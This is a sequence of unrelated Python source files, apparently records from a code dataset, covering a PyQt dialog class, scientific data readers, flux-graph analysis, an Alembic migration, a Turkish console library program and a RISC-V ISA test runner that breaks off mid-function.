layout_idx)\n            outer_layout.addWidget(enter_name, layout_idx + 1)\n            outer_layout.addWidget(marker_condition, layout_idx + 2)\n            outer_layout.addWidget(enter_marker, layout_idx + 3)\n            layout_idx += 4\n\n        self.ok_button.clicked.connect(self.conditions.accept)\n        self.cancel_button.clicked.connect(self.conditions.reject)\n\n        bottom_layout = qtw.QHBoxLayout()\n        bottom_layout.addWidget(self.ok_button, 0)\n        bottom_layout.addWidget(self.cancel_button, 1)\n        outer_layout.addLayout(bottom_layout)\n        result = self.conditions.exec_()\n        if result is 1:\n            self.create_new_cond_and_marker(self.condition_list, self.marker_list, number)\n        if result is 0:\n            self.cancel_cond_dialog()\n\n    def create_new_cond_and_marker(self, cond, marker, num):\n        '''\n        Checks the input of conditions and markers and submits to properties object if ok\n        @param cond: list of the condition names defined in input_cond_and_marker(self, number)\n        @param marker: list of the condition markers defined in input_cond_and_marker(self, number)\n        @param num: number of conditions\n        '''\n        self.new_condition_list = [str(cond[i].text()) for i in range(len(cond))]\n        cond_entry_ok = 0\n        marker_entry_ok = 0\n        for c in self.new_condition_list:\n            if c is not '' or c is not \"\":\n                cond_entry_ok += 1\n\n        self.new_marker_list = [str(marker[i].text()) for i in range(len(marker))]\n\n        for m in self.new_marker_list:\n            if m is not '' or m is not \"\":\n                marker_entry_ok += 1\n\n        if int(cond_entry_ok) != num or int(marker_entry_ok) != num:\n            self.show_cond_marker_warning(num)  # clears also new_condition_list\n        else:\n            self.communicate_condition_and_marker(self.new_condition_list, self.new_marker_list)\n            self.submit_cond_to_basics_gb.emit(self.new_condition_list, self.new_marker_list)\n            self.submit_markers.emit({'condition_markers': self.new_marker_list})\n            self.submit_available_conditions.emit({'available_conditions': self.new_condition_list})\n            self.conditions.close()\n\n    def cancel_cond_dialog(self):\n        '''\n        Returns if Cancel is clicked during conditions dialog\n        '''\n        self.conditions.reject()\n\n    def communicate_condition_and_marker(self, condition, marker):\n        '''\n        Submits conditions and markers to the gui part to show inside the GUI\n        @param condition: list of conditions\n        @param marker: list of markers\n        '''\n        self.submit_condition_and_marker_to_gui.emit(condition, marker)\n\n    def show_cond_marker_warning(self, number):\n        '''\n        Gives a warning if the entries in the condition dialog were not correct\n        @param number: number of conditions\n        '''\n        msg_cond_or_marker_missing = qtw.QMessageBox()\n        msg_cond_or_marker_missing.setText('No empty line(s) allowed!')\n        msg_cond_or_marker_missing.setIcon(qtw.QMessageBox.Warning)\n        self.new_condition_list.clear()\n        # print(self.new_condition_list)\n        msg_cond_or_marker_missing.exec_()\n        self.input_cond_and_marker(number)\n\n    @qtc.pyqtSlot()\n    def def_ROIs_dialog(self):\n        '''\n        Opens dialog to define the number of desired ROIs. If entered number is ok, the input dialog for defining the\n        conditions gets opend, if not ok, a warning is given\n        '''\n        get_num_rois = qtw.QInputDialog()\n        number, ok_pressed = get_num_rois.getInt(self, 'Define ROIs', 'Number of ROIs (Region of Interests)')\n\n        if ok_pressed and number != 0:\n            self.input_rois(number)\n\n        elif ok_pressed and number is 0:\n            cond_warning = qtw.QMessageBox(qtw.QMessageBox.Warning, 'Input Warning', 'Please enter an integer number!')\n            cond_warning.exec_()\n            print('No condition specified.')\n\n    def input_rois(self, number):\n        '''\n        Opens input dialog to define the desired ROIs according the number of ROIs defined in def_ROIs_dialog(self)\n        @param number: number of desired ROIs defined in def_ROIs_dialog(self)\n        '''\n        self.rois_dialog = qtw.QDialog()\n        outer_layout = qtw.QVBoxLayout()\n        outer_layout.setSpacing(5)\n        self.info_roi = qtw.QLabel('Please enter the channels per ROI in the following format: 1,2,3 etc.')\n        outer_layout.addWidget(self.info_roi)\n        self.ok_button_roi = qtw.QPushButton('Ok')\n        self.cancel_button_roi = qtw.QPushButton('Cancel')\n        self.rois_dialog.setLayout(outer_layout)\n        layout_idx = 0\n        self.roi_list = []\n        for num in range(number):\n            self.roi_list.append(qtw.QLineEdit())\n\n        for indx in range(number):\n            roi_number = qtw.QLabel('ROI %s' % str(indx + 1))\n            enter_roi = self.roi_list[indx]\n            enter_roi.setStyleSheet('min-height: 15px; max-height: 15px')\n            outer_layout.addWidget(roi_number, layout_idx)\n            outer_layout.addWidget(enter_roi, layout_idx + 1)\n            layout_idx += 2\n\n        self.ok_button_roi.clicked.connect(self.rois_dialog.accept)\n        self.cancel_button_roi.clicked.connect(self.rois_dialog.reject)\n\n        bottom_layout = qtw.QHBoxLayout()\n        bottom_layout.addWidget(self.ok_button_roi, 0)\n        bottom_layout.addWidget(self.cancel_button_roi, 1)\n        outer_layout.addLayout(bottom_layout)\n        result = self.rois_dialog.exec_()\n        if result is 1:\n            self.create_new_rois(self.roi_list, number)\n        if result is 0:\n            self.cancel_roi_dialog()\n\n    def create_new_rois(self, roi, num):\n        '''\n        Converts the ROI input string to lists for each ROI including its corresponding defined channels.\n        If entries were ok, the lists are submitted to properties\n        @param roi: list of the ROIs including its defined corresponding channel numbers\n        @param num: number of desired ROIs\n        @return:\n        '''\n        self.new_roi_list = [roi[i].text() for i in range(len(roi))]\n        roi_entry_ok = 0\n        char_set = '0123456789,'\n        for r in range(len(self.new_roi_list)):\n            if self.new_roi_list[r] != '' or self.new_roi_list[r] != \"\":\n                if all((c in char_set) for c in self.new_roi_list[r]):\n                    self.new_roi_list[r] = self.new_roi_list[r].split(',')\n                    self.new_roi_list[r] = [int(i) for i in self.new_roi_list[r]]\n                    roi_entry_ok += 1\n\n        if int(roi_entry_ok) != num:\n            self.show_roi_warning(num)  # clears also new_condition_list\n        else:\n            self.submit_rois_to_properties.emit({'grand_average_rois': self.new_roi_list})\n            self.rois_dialog.close()\n\n    def cancel_roi_dialog(self):\n        '''\n        Returns if Cancel is clicked during the ROI dialog\n        '''\n        self.rois_dialog.reject()\n\n    def show_roi_warning(self, number):\n        '''\n        Gives a warning if the entries in the ROI dialog were not correct\n        @param number: number of ROIs\n        '''\n        roi_wrong_input = qtw.QMessageBox()\n        roi_wrong_input.setText('Check if input is empty or wrong input format!')\n        roi_wrong_input.setIcon(qtw.QMessageBox.Warning)\n        self.new_roi_list.clear()\n        # print(self.new_roi_list)\n        rej = roi_wrong_input.exec_()\n        self.input_rois(number)\n","repo_name":"KrisUnt/NICApy","sub_path":"NICApy_v1.0/gui_part/menubar_class.py","file_name":"menubar_class.py","file_ext":"py","file_size_in_byte":32526,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"}
+{"seq_id":"17268186982","text":"import os\nimport back_end.data_loading as dl\nimport numpy as np\n\n\nsmpl_data_path_RAVDESS = '../../Resources/Datasets/RAVDESS_Audio/'\nactr_dir_list_RAVDESS = os.listdir(smpl_data_path_RAVDESS)\nclean_dir = 'clean'\ntmp_test_dir = 'test'\nuploads_dir = '../front_end/uploads'\n\n\nclass ModelConfig:\n    def __init__(self, mode='convolutional', nfilt=26, nfeat=13, nfft=512, rate=16000):\n        self.mode = mode\n        self.nfilt = nfilt\n        self.nfeat = nfeat\n        self.nfft = nfft\n        self.rate = rate\n        self.step = int(rate / 10)\n        self.model_path = os.path.join('models', mode + '.model')\n        self.p_path = os.path.join('pickles', mode + '.p')\n\n\nclass RandFeatParams:\n    def __init__(self, df):\n        self.df1 = df.copy()\n        self.df1 = dl.get_df_with_length(self.df1)\n        self.n_samples = 2 * int(self.df1['length'].sum() / 0.1)\n        self.class_dist = self.df1.groupby(['emotion_label'])['length'].mean()\n        self.prob_dist = self.class_dist / self.class_dist.sum()\n        self.classes = list(np.unique(self.df1.emotion_label))\n","repo_name":"isurusamarasekara/Speech-Emotion-Recognition","sub_path":"back_end/configurations.py","file_name":"configurations.py","file_ext":"py","file_size_in_byte":1073,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"}
+{"seq_id":"22034573613","text":"\"\"\"\nCreated on March 10, 2022\n\n@author: Yi Wang\n\"\"\"\n\n#from netCDF4 import Dataset\nfrom mylib.io import read_nc\n\ndef read_GEMS_NO2_L2(filename, varnames=[], replace=False, verbose=False):\n    \"\"\" read GEMS L2 NO2 product\n\n    Parameters\n    ----------\n    filename : str\n        OMI L2 NO2 product file.\n    varnames : list\n        A list of variable names\n    replace : logical\n        True: replace all_varnames_dict by varnames\n        False: update varnames_dict to all_varnames\n    verbose : logical\n        Whether or not output more informations.\n\n    Returns\n    -------\n    out_data : dict\n        A dictionary of all varilables.\n\n    \"\"\"\n\n    if verbose:\n        print(' - read_GEMS_NO2_L2: reading ' + filename)\n\n    # all variables names\n    all_varnames = [\n            'Geolocation Fields/Latitude',\n            'Geolocation Fields/Longitude',\n            'Geolocation Fields/SolarZenithAngle',\n            'Geolocation Fields/ViewingZenithAngle',\n            'Data Fields/CloudFraction',\n            'Data Fields/ColumnAmountNO2Trop',\n            ]\n    if not replace:\n        all_varnames.extend(varnames)\n        all_varnames = list(set(all_varnames))\n    else:\n        all_varnames = varnames\n\n    # read data\n    out_data = read_nc(filename, all_varnames, verbose=False, squeeze=False)\n\n    return out_data\n","repo_name":"ywang37/pylib","sub_path":"pro_gems_no2_l2/io_gems_no2_l2.py","file_name":"io_gems_no2_l2.py","file_ext":"py","file_size_in_byte":1325,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"}
+{"seq_id":"25010429217","text":"\"\"\"like model added\n\nRevision ID: 95a07adca5e9\nRevises: 5f71129cb779\nCreate Date: 2020-11-19 13:00:50.936393\n\n\"\"\"\nfrom alembic import op\nimport sqlalchemy as sa\n\n\n# revision identifiers, used by Alembic.\nrevision = '95a07adca5e9'\ndown_revision = '5f71129cb779'\nbranch_labels = None\ndepends_on = None\n\n\ndef upgrade():\n    # ### commands auto generated by Alembic - please adjust! ###\n    op.create_table('likes',\n    sa.Column('like_id', sa.Integer(), nullable=False),\n    sa.Column('is_status', sa.Integer(), nullable=True),\n    sa.Column('is_player', sa.Integer(), nullable=True),\n    sa.Column('is_club', sa.Integer(), nullable=True),\n    sa.Column('user_id', sa.Integer(), nullable=True),\n    sa.Column('created_at', sa.String(length=50), nullable=True),\n    sa.Column('updated_at', sa.String(length=50), nullable=True),\n    sa.PrimaryKeyConstraint('like_id')\n    )\n    # ### end Alembic commands ###\n\n\ndef downgrade():\n    # ### commands auto generated by Alembic - please adjust! ###\n    op.drop_table('likes')\n    # ### end Alembic commands ###\n","repo_name":"theirfanirfi/golfapp-apis","sub_path":"migrations/versions/95a07adca5e9_like_model_added.py","file_name":"95a07adca5e9_like_model_added.py","file_ext":"py","file_size_in_byte":1051,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"}
+{"seq_id":"21624698309","text":"import numpy as np\nimport networkx as nx\n\ndef get_fluxes(edges,A,B,parset,Parray,netJ=False):\n    \"\"\"Get the (square) matrix of fluxes between pairs of edges. If Parray is steady state probability distribution, it is the ss fluxes.\n    Otherwise, it is flux at a given timepoint.\n    If net is True, it returns net flux, otherwise all fluxes\"\"\"\n   \n    Pdiag=np.diag(Parray)\n    ratemat=np.zeros((9,9)) #Important TO ADD CONCENTRATIONS OF A AND B HERE!!\n    for i in range(len(parset)):\n        v0=edges[i][0]\n        v1=edges[i][2]\n        ratelab=edges[i][1]\n        parval=parset[i]\n        if 'kb' in ratelab:\n            if 'A' in ratelab:\n                #print('A binding edge',ratelab)\n                parval=parval*A\n            elif 'B' in ratelab:\n                #print('B binding edge', ratelab)\n                parval=parval*B\n        ratemat[v0,v1]=parval\n    J=Pdiag@ratemat\n\n    if netJ is True:\n        Jnet=np.zeros_like(J)\n        for i in range(len(edges)):\n            rate=edges[i]\n            v0,v1=[rate[0],rate[2]]\n            f1=J[v0,v1]\n            f2=J[v1,v0]\n            \n            if f1>f2:\n                v0_=v0\n                v1_=v1\n                netf=f1-f2\n                #print('f1',f1,'f2',f2)\n            else:\n                v0_=v1\n                v1_=v0\n                netf=f2-f1\n            Jnet[v0_,v1_]=netf\n        return Jnet\n    else:\n        return J\n\ndef get_mat_fluxes_abonly(df,flux_names,npars=24,nnodes=9,netJ=False,rhofunc=None,graph_edges=None,min_=1e-15):\n    \"\"\"Given a dataframe with npars columns of parameter values, computes the fluxes for each of them, for both A and B together. \n    It removes columns with 0 flux (handy when two nodes are not connected).\n    If netJ is True, computes net fluxes.\"\"\"\n    all_Js=[]\n    A=1.0\n    B=1.0\n    \n    for idx in range(len(df)):\n        \n        row=df.iloc[idx]\n        parset=row[:npars].values.copy()\n        \n            \n        #print('parset', parset)\n        rhos=rhofunc(parset,np.array([B]),A)\n        P=rhos/np.sum(rhos)\n\n        J=get_fluxes(graph_edges,A,B,parset,P,netJ=netJ)\n        \n        all_Js.append(J.flatten())\n              \n    all_Js=np.array(all_Js)\n    #keep only those columns with nonzero fluxes\n    mask=[]\n    for col in range(nnodes*nnodes):\n        if np.any(all_Js[:,col]>min_):\n            mask.append(col)\n    #print(mask)\n    #mat=np.log10(all_Js)[:,mask]\n    return [all_Js[:,mask],flux_names[mask]]\ndef get_order_cols_fluxes(labls_,flux_order_labs_AB):\n    \"\"\"Given the fluxes ordered according to labls_, it will return an array with the indices that would sort them according to flux_order_labls_AB.\n    Accounts for some missing labels (i.e. nonexisting flux between that pair).\"\"\"\n    order_cols=[]\n    i=0\n    while i<len(flux_order_labs_AB):\n        lab=flux_order_labs_AB[i]\n        idx=np.where(labls_==lab)[0]\n        if len(idx)==1:\n            idx=idx[0]\n            order_cols.append(idx)\n        elif len(idx)>1:\n            print('more than one!',idx)\n\n        i+=1\n    order_cols=np.array(order_cols)\n    return order_cols\ndef fluxname_to_parname(pair,edges=None):\n    \"\"\"Given a flux name, e.g. 1-0.AB, it gives the corresponding parameter label.\"\"\"\n    n0,n1=list(map(int,pair.split(\".\")[0].split(\"-\")))\n    n0=n0+1\n    n1=n1+1\n    for e in edges:\n        if e[0]==n0 and e[2]==n1:\n            return e[1]\ndef get_graph_fromJmatrix(J,edges,ratios=True, subtract=True,vmin=1e-15):\n    \"\"\"Graph from the J matrix, with edge weights determined by J. \n    Originally J is the matrix of fluxes, but can be used with any other matrix and ratios=False to construct the graph from that matrix.\"\"\"\n    G=nx.DiGraph()\n    #P=rhos_3statepol_allrev(A,B,parset)\n    #print('ss P', P)\n    #fluxes=get_fluxes(edges,A,B,parset,P)\n    for i in range(len(edges)):\n        rate=edges[i]\n        v0,v1=[rate[0],rate[2]]\n        f1=J[v0,v1]\n        f2=J[v1,v0]\n        if f1>vmin or f2>vmin: #added 10.03\n            if ratios is False:\n                v0_=v0\n                v1_=v1\n                weight=f1\n                G.add_edge(v0_,v1_,weight=weight) #weight is the flux\n            else:\n                if f1>f2:\n                    v0_=v0\n                    v1_=v1\n                    if subtract:\n                        weight=f1-f2\n                    else:\n                        if f2>vmin:\n                            weight=f1/f2\n                        else:\n                            weight=f1\n                    #print('f1',f1,'f2',f2)\n                else:\n                    v0_=v1\n                    v1_=v0\n                    if subtract:\n                        weight=f2-f1\n                    else:\n                        if f1>vmin:\n                            weight=f2/f1\n                        else:\n                            weight=f2\n                    #print('f2',f2,'f1',f1)\n                #print(rate,f1,f2,weight,np.log10(weight))\n                #if np.abs(weight)>10**(-8): #nonzero weight\n            \n                G.add_edge(v0_,v1_,weight=weight) #weight is the net flux\n        \n    return G\n\ndef get_graph_fromJarray(J,edgelabls,min_=0):\n    \"\"\"Returns a graph with weights those of the J array\"\"\"\n    G=nx.DiGraph()\n    for pnum,pair in enumerate(edgelabls):\n        flux=J[pnum]\n        if flux>min_:\n            pair=pair.split('.')[0]\n            v0,v1=pair.split('-')\n            G.add_edge(int(v0), int(v1),weight=flux)\n        #else:\n        #    print('discarting',flux)\n    return G\n\ndef get_dominant_path_G(G,node0):\n    G2=nx.DiGraph()\n    n=node0\n    done=False\n    while done is False:\n        oute=list(G.out_edges(n))\n        if len(oute)==0:\n            done=True\n        else:\n            weights=[G[e[0]][e[1]]['weight'] for e in oute]\n\n            n2=oute[np.argmax(weights)][1]\n\n            if n2==node0 or n2 in G2.nodes:\n                done=True\n            G2.add_edge(n,n2,weight=np.max(weights))\n            n=n2\n    return G2\ndef get_dominant_paths_mat_v4(smat,labls_,node0,min_=1e-14):\n    #for a matrix of instances, returns a matrix where each row is a parameter set, and each column is an edge, with value 1 if in the dominant path\n    dominant_graphs=np.zeros((len(smat),len(labls_)))\n    ext=labls_[0].split('.')[1]\n    for idx in range(len(smat)):\n        J=smat[idx]\n        G=get_graph_fromJarray(J,labls_,min_=min_) #Get corresponding graph, with fluxes as edge weights\n        #print(G.edges())\n        #Dominant flux\n        G2=get_dominant_path_G(G,node0)\n\n        edgelist=G2.edges()\n        edgelist_str=['%s-%s.%s'%(edge[0],edge[1],ext) for edge in edgelist]\n\n        indices=[np.where(labls_==e)[0][0] for e in edgelist_str]\n        dominant_graphs[idx][indices]=1\n            \n    return dominant_graphs\n\ndef get_G_coords_9nodes():\n    dx=8\n    dy=2\n    dx_=-8\n    dy_=-2\n    coords={0:[0,0],1:[1,2],2:[-2,4],3:[0+dx,0+dy],4:[1+dx,2+dy],5:[-2+dx,4+dy],6:[0+dx_,0+dy_],7:[1+dx_,2+dy_],8:[-2+dx_,4+dy_]}\n    return coords\n\ndef merge_graphs(Glist):\n    all_edges=[]\n    [all_edges.extend(G.edges()) for G in Glist] #list with edges for all graphs to merge\n    all_weights=[]\n    [all_weights.extend([G[e[0]][e[1]]['weight'] for e in G.edges()]) for G in Glist] #list with weights for each edge of all graphs to merge, in the same order as edge name list above\n    all_weights=np.array(all_weights)\n    unique_edges=list(set(all_edges))\n    count=[all_edges.count(e) for e in unique_edges]\n    #print(all_edges)\n    #print(all_weights)\n    #print(unique_edges)\n    #print(count)\n    U=nx.DiGraph()\n    unique_edges_str=np.array(list(map(str,all_edges)))\n    #print(unique_edges_str)\n    for e in unique_edges:\n        idxs=np.where(unique_edges_str==str(e))[0]\n        weights=all_weights[idxs]\n        average=np.sum(weights)/len(Glist) #average over all graphs. \n        #print(\"************careful when averaging weights. Confirm that it is correct and remove this warning\")\n        #print(e)\n        #print(weights)\n        #print(idxs)\n        #print(average)\n        U.add_edge(e[0],e[1],weight=average)\n    return U\n\ndef merge_mirrored_unique_paths(mat_dp,result, idxs_rev):\n    newpaths=[] #accounting for mirror\n    newcounts=[] #accountng for mirror\n    \n    mirror=np.zeros(len(mat_dp),dtype=bool)\n    pathmat=result[0]\n    oldidxs=result[1]\n    \n    newinverses=oldidxs.copy()\n    \n    symmetric=np.zeros(len(pathmat)) #each position will either have a 0 or the index corresponding to the path with which it is symmetric\n\n    pathcount=0\n    for p1 in range(len(pathmat)):\n        if symmetric[p1]<1: #if it is not the symmetric of a path already encountered\n            path1=pathmat[p1]\n            symcounts=result[2][p1]\n            oldpidx=np.where(oldidxs==p1)[0] #original rows that correspond to this path. below this is changed to the new path index\n            #print(\"path\", p1,\"originally appeared\",len(oldpidx))\n            for p_idx in range(p1+1,len(pathmat)):\n                path2=pathmat[p_idx]\n                pmirror=path2[idxs_rev]\n                #print(\"path is\", path2)\n                #print(\"symmetric path is\",pmirror)\n                if np.sum(np.abs(path1-pmirror))<1:\n                    #symmetric[p_idx]=p1\n                    #print(\"symmetric found\")\n                    #for path_ in [path1,path2]:\n                    #    for p1_ in range(len(path_)):\n                    #        if path_[p1_]>0:\n                    #            print(labls_to_edges(labls_[p1_]))\n                    #    print(\" \")\n                    symcounts+=result[2][p_idx]\n                    oldpidxs2=np.where(oldidxs==p_idx)\n                    newinverses[oldpidxs2]=pathcount\n                    mirror[oldpidxs2]=True\n                    #print(\"idx mirror is\", p_idx)\n                    #print(\"adding counts, original: \",result[2][p1], result[2][p_idx])\n                    symmetric[p_idx]=1\n            newcounts.append(symcounts)\n            newpaths.append(pathmat[p1])\n            newinverses[oldpidx]=pathcount\n            #print(\"final count is\", symcounts, len(np.where(newinverses==pathcount)[0]))\n            pathcount+=1\n    return [np.array(newpaths),newinverses,np.array(newcounts),mirror]\n\ndef plot_graphs(Gs,axes,idxref=3,coords=None,color_lists=None,color_args=None,dominant=[],colord=\"r\"):\n    \"\"\"idxref: graph whose nodes will be plotted in all cases, for reference purposes\"\"\"\n    edges0=[[1,0],[4,3],[7,6]]\n    edges1=[[1, 0], [0, 2], [2, 1], [4, 3], [3, 5], [5, 4], [7, 6], [6, 8], [8, 7]]\n    edges1_=[edge for edge in edges1 if not edge in edges0]\n    edges2=[[1, 2], [4, 5], [7, 8]]\n    edges3=[[0, 3], [3, 0], [1, 4], [4, 1], [2, 5], [5, 2], [0, 6], [6, 0], [1, 7], [7, 1], [2, 8], [8, 2]]\n    connectstyles=['arc3,rad=-0.8','arc3,rad=-0.25','arc3,rad=0.1','arc3,rad=-0.075']\n    for j in range(len(Gs)):\n        ax=axes[j]\n        if len(Gs)>1:\n            G=Gs[idxref]\n        else:\n            G=Gs[0]\n        #first draw all nodes so that locations are comparable\n        nx.draw_networkx_nodes(G,nodelist=[0,1,2],pos=coords,ax=ax,node_size=100,node_color='gray',node_shape=\"_\")\n        nx.draw_networkx_nodes(G,nodelist=[3,4,5],pos=coords,ax=ax,node_size=100,node_color='gray',node_shape=\"H\")\n        nx.draw_networkx_nodes(G,nodelist=[6,7,8],pos=coords,ax=ax,node_size=80,node_color='gray',node_shape=\"s\")\n\n        G=Gs[j]\n        \n        #edgelist=G.edges() #edges_list[j]\n        \n        if color_args is None:\n            nx.draw_networkx_edges(G,pos=coords,ax=ax,edgelist=edgelist,width=5)\n\n        else:\n            Gedges=list(G.edges())\n            for el, edges in enumerate([edges0,edges1_,edges2,edges3]):\n                edge_color=[]\n                edges_=[]\n                for e in edges:\n                    if tuple(e) in Gedges:\n                        edge_color.append(G[e[0]][e[1]][\"weight\"])\n                        edges_.append(e)\n\n                nx.draw_networkx_edges(G,pos=coords,ax=ax,edgelist=edges_,edge_color=edge_color,connectionstyle=connectstyles[el],**color_args,)\n                \n            \n            #if j==3:\n                #cax=fig.add_axes([0.3,0.,0.5,0.03])\n                #norm=mpl.colors.Normalize(vmin=color_args[\"edge_vmin\"],vmax=color_args[\"edge_vmax\"])\n                #cb1  = mpl.colorbar.ColorbarBase(ax,cmap=color_args[\"edge_cmap\"],norm=norm,orientation='horizontal',label='average net flux')\n                #print(\"args are\", color_args[\"edge_vmin\"],color_args[\"edge_vmax\"])\n                #print(list(zip(edgelist,color_lists[j])))\n        ax.set_xticks([])\n        ax.set_yticks([])\n        if len(dominant)>0:\n            G=dominant[j]\n            Gedges=list(G.edges())\n            for el, edges in enumerate([edges0,edges1_,edges2,edges3]):\n                edgespresent=[e for e in edges if tuple(e) in Gedges]\n                nx.draw_networkx_edges(G,pos=coords,ax=ax,edgelist=edgespresent,edge_color=colord,connectionstyle=connectstyles[el],width=1)\n    return \n\n\n\ndef get_G_colors_from_weights(Gs_chunk):\n    \"\"\"This only works if the graph all have the same edges. Better to use the function from merging graphs\"\"\"\n    nGchunk=len(Gs_chunk)\n    J_av_list=[]\n    if nGchunk>1:\n        for i_ in range(len(Gs_chunk[0])): #for each of the graphs in each parameter set\n            mat_aux=np.zeros((nGchunk,len(Gs_chunk[0][i_].edges())))\n            for n_ in range(nGchunk):\n                #print('edges',Gs_chunk[n_][i_].edges())\n                mat_aux[n_]=[Gs_chunk[n_][i_][e[0]][e[1]]['weight'] for e in Gs_chunk[n_][i_].edges()]\n                #if i_==0:\n                #print('basal fluxes for synergy',np.mean(chunk_si))\n                #print(mat_aux)\n            avaux=np.mean(mat_aux,axis=0)\n            J_av_list.append(avaux)\n\n    else:\n        ng=len(Gs_chunk)\n        J_av_list=[[np.log10(Gs[i_][e[0]][e[1]]['weight']) for e in G[i_].edges()] for i_ in range(ng)]\n\n    return J_av_list\n\n\n\n\n\n\n\n","repo_name":"rosamc/scriptssyn","sub_path":"fluxes.py","file_name":"fluxes.py","file_ext":"py","file_size_in_byte":13896,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"}
+{"seq_id":"27373454425","text":"#KÜTÜPHANE PROGRAMI\r\nkitapliste=[]\r\n\r\nmenu=\"\"\"\r\n1) Kitap Ekle\r\n2) Kitap Çıkar\r\n3) Kitapları Göster\r\nQ) Çıkış Yap\r\n\"\"\"\r\ndef kitapekle(liste,kitap):\r\n\tliste+=[kitap]\r\n\tprint(\"Kitap Eklendi!\")\r\n\tinput(\"Ana menüye dönmek için ENTER'a basınız...\")\r\n\r\ndef kitapcikar():\r\n\tpass\r\n\r\ndef listele(liste):\r\n\tfor a in liste:\r\n\t\tprint(\"Kitap Adı :\",a)\r\n\tinput(\"Ana menüye dönmek için ENTER'a basınız...\")\r\n\r\ndef cikis():\r\n\tquit()\r\n\r\nwhile True:\r\n\tprint(menu)\r\n\r\n\tsecim=input(\"Seçiminiz\\n=>\")\r\n\r\n\tif secim==\"1\":\r\n\t\tkitapadi=input(\"Kitap Adı\\n=>\")\r\n\t\tkitapekle(kitapliste,kitapadi)\r\n\telif secim==\"2\":\r\n\t\tkitapcikar()\r\n\telif secim==\"3\":\r\n\t\tlistele(kitapliste)\r\n\telif secim==\"Q\" or secim==\"q\":\r\n\t\tcikis()\r\n\telse:\r\n\t\tprint(\"HATA!\\nOlmayan Bir Seçenek Girdiniz!\")\r\n\t\tinput(\"Ana menüye dönmek için ENTER'a basınız...\")","repo_name":"hakstudio/Python","sub_path":"KütüphaneProgramı.py","file_name":"KütüphaneProgramı.py","file_ext":"py","file_size_in_byte":826,"program_lang":"python","lang":"tr","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"}
+{"seq_id":"29198148588","text":"usage_line = (\n    \"  Usage:\\n\"\n    \"    $ <this_prog>    <simulation_executable>  <repo_dir>  <logs_dir>  <arch>  <opt verbosity>\\n\"\n    \"\\n\"\n    \"  Runs the RISC-V <simulation_executable>\\n\"\n    \"  on ISA tests: ELF files taken from <repo-dir>/isa and its sub-directories.\\n\"\n    \"\\n\"\n    \"  Runs it only on those ELF files that are relevant to architecture <arch>.\\n\"\n    \"\\n\"\n    \"  For each ELF file FOO, saves simulation output in <logs_dir>/FOO.log. \\n\"\n    \"\\n\"\n    \"  If <opt verbosity> is given, it must be one of the following:\\n\"\n    \"      v1:    Print instruction trace during simulation\\n\"\n    \"      v2:    Print pipeline stage state during simulation\\n\"\n    \"\\n\"\n    \"  Example:\\n\"\n    \"      $ <this_prog>  .exe_HW_sim  ~somebody/GitHub/Piccolo  ./Logs  RV32IMU  v1\\n\"\n    \"    will run the verilator simulation executable on the following RISC-V ISA tests:\\n\"\n    \"            ~somebody/GitHub/Tests/isa/rv32ui-p*\\n\"\n    \"            ~somebody/GitHub/Tests/isa/rv32mi-p*\\n\"\n    \"            ~somebody/GitHub/Tests/isa/rv32um-p*\\n\"\n    \"    which are relevant for architecture RV32IMU\\n\"\n    \"    and will leave a transcript of each test's simulation output in files like\\n\"\n    \"            ./Logs/rv32ui-p-add.log\\n\"\n    \"    Each log will contain an instruction trace (because of the 'v1' arg).\\n\"\n)\n\nimport sys\nimport os\nimport stat\nimport subprocess\n\n# ================================================================\n\nnum_executed = 0\nnum_passed   = 0\n\n# ================================================================\n\ndef main (argv = None):\n    print (\"Use flag --help  or --h for a help message\")\n    if ((len (argv) <= 1) or\n        (argv [1] == '-h') or (argv [1] == '--help') or\n        (len (argv) < 5)):\n\n        sys.stdout.write (usage_line)\n        sys.stdout.write (\"\\n\")\n        return 0\n\n    # Simulation executable\n    if not (os.path.exists (argv [1])):\n        sys.stderr.write (\"ERROR: The given simulation path does not seem to exist?\\n\")\n        sys.stderr.write (\"    Simulation path: \" + sim_path + \"\\n\")\n        sys.exit (1)\n    args_dict = {'sim_path': os.path.abspath (os.path.normpath (argv [1]))}\n\n    # Repo in which to find ELFs and elf_to_hex executable\n    if (not os.path.exists (argv [2])):\n        sys.stderr.write (\"ERROR: repo directory ({0}) does not exist?\\n\".format (argv [2]))\n        sys.stdout.write (\"\\n\")\n        sys.stdout.write (usage_line)\n        sys.stdout.write (\"\\n\")\n        return 1\n    repo = os.path.abspath (os.path.normpath (argv [2]))\n\n    elfs_path = os.path.join (repo, \"Tests\", \"isa\")\n    if (not os.path.exists (elfs_path)):\n        sys.stderr.write (\"ERROR: ELFs directory ({0}) does not exist?\\n\".format (elfs_path))\n        sys.stdout.write (\"\\n\")\n        sys.stdout.write (usage_line)\n        sys.stdout.write (\"\\n\")\n        return 1\n    args_dict ['elfs_path'] = elfs_path\n\n    # Logs directory\n    logs_path = os.path.abspath (os.path.normpath (argv [3]))\n    if not (os.path.exists (logs_path) and os.path.isdir (logs_path)):\n        print (\"Creating dir: \" + logs_path)\n        os.mkdir (logs_path)\n    args_dict ['logs_path'] = logs_path\n\n    # Architecture string and implied ISA test families\n    arch_string = extract_arch_string (argv [4])\n    if (arch_string == None):\n        sys.stderr.write (\"ERROR: no architecture specified?\\n\")\n        sys.stdout.write (\"\\n\")\n        sys.stdout.write (usage_line)\n        sys.stdout.write (\"\\n\")\n        return 1\n    args_dict ['arch_string'] = arch_string\n\n    test_families = select_test_families (arch_string)\n    print (\"Testing the following families of ISA tests\")\n    for tf in test_families:\n        print (\"    \" + tf)\n    args_dict ['test_families'] = test_families\n\n    # Optional verbosity\n    verbosity = 0\n    for arg in argv [5:]:\n         if arg == \"v1\":\n            verbosity = 1\n         elif arg == \"v2\":\n            verbosity = 2\n    args_dict ['verbosity'] = verbosity\n\n    # elf_to_hex executable\n    elf_to_hex_exe = os.path.join (repo, \"Tests\", \"elf_to_hex\", \"elf_to_hex\")\n    if (not os.path.exists (elf_to_hex_exe)):\n        sys.stderr.write (\"ERROR: elf_to_hex executable does not exist?\\n\")\n        sys.stderr.write (\"    at {0}\\n\".format (elf_to_hex_exe))\n        sys.stdout.write (\"\\n\")\n        sys.stdout.write (usage_line)\n        sys.stdout.write (\"\\n\")\n        return 1\n    